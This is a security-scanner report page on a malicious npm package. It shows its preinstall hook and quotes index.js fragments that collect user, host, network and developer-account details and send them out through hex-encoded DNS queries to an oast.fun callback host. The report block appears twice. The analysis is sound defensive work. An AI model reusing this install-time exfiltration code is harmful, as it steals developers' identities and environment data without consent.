halali-sample@999.9.14: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

halali-sample@999.9.14: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

preinstall executes index.js automatically.

package.jsonView on unpkg · L10

index.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const http = require("http"); const https = require("https"); const CALLBACK = "[redacted].oast.fun"; // because they fail in different situations: the HTTPS lookup gives this // host's egress address and needs outbound HTTP; the DNS lookup gives the const urls = ["https://api.ipify.org", "https://icanhazip.com", "https://ifconfig.me/ip"]; const req = https.get(url, { timeout: 2000 }, (res) => {

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

121function collect() { const parent = parentProject(); let user = null, home = null; try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {} return { uuid: crypto.randomUUID(), ip: localIPv4(), hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(), user: user, home: home, cwd: process.env.INIT_CWD || process.cwd(), gh_user: tryExec("gh", ["api", "user", "--jq", ".login"], 3000), npm_user: tryExec("npm", ["whoami"], 3000), git_email_domain: (() => { const e = tryExec("git", ["config", "user.

High

Ai Review Evidence

Install code collects host, user, home, working-directory, CLI-account and project metadata.

index.jsView on unpkg · L121

162const hex = Buffer.from(body).toString("hex"); const chunks = hex.match(/.{1,60}/g) || []; dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {}); chunks.forEach((c, i) => { try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {} });

High

Ai Review Evidence

It encodes the collected payload into DNS queries to an external callback.

index.jsView on unpkg · L162

Source & flagged code

5 flagged

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

preinstall executes index.js automatically.

package.jsonView on unpkg · L10

index.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const http = require("http"); const https = require("https"); const CALLBACK = "[redacted].oast.fun"; // because they fail in different situations: the HTTPS lookup gives this // host's egress address and needs outbound HTTP; the DNS lookup gives the const urls = ["https://api.ipify.org", "https://icanhazip.com", "https://ifconfig.me/ip"]; const req = https.get(url, { timeout: 2000 }, (res) => {

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

121function collect() { const parent = parentProject(); let user = null, home = null; try { const u = os.userInfo(); user = u.username; home = u.homedir; } catch (e) {} return { uuid: crypto.randomUUID(), ip: localIPv4(), hostname: (() => { try { return os.hostname(); } catch (e) { return null; } })(), user: user, home: home, cwd: process.env.INIT_CWD || process.cwd(), gh_user: tryExec("gh", ["api", "user", "--jq", ".login"], 3000), npm_user: tryExec("npm", ["whoami"], 3000), git_email_domain: (() => { const e = tryExec("git", ["config", "user.

High

Ai Review Evidence

Install code collects host, user, home, working-directory, CLI-account and project metadata.

index.jsView on unpkg · L121

162const hex = Buffer.from(body).toString("hex"); const chunks = hex.match(/.{1,60}/g) || []; dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {}); chunks.forEach((c, i) => { try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {} });

High

Ai Review Evidence

It encodes the collected payload into DNS queries to an external callback.

index.jsView on unpkg · L162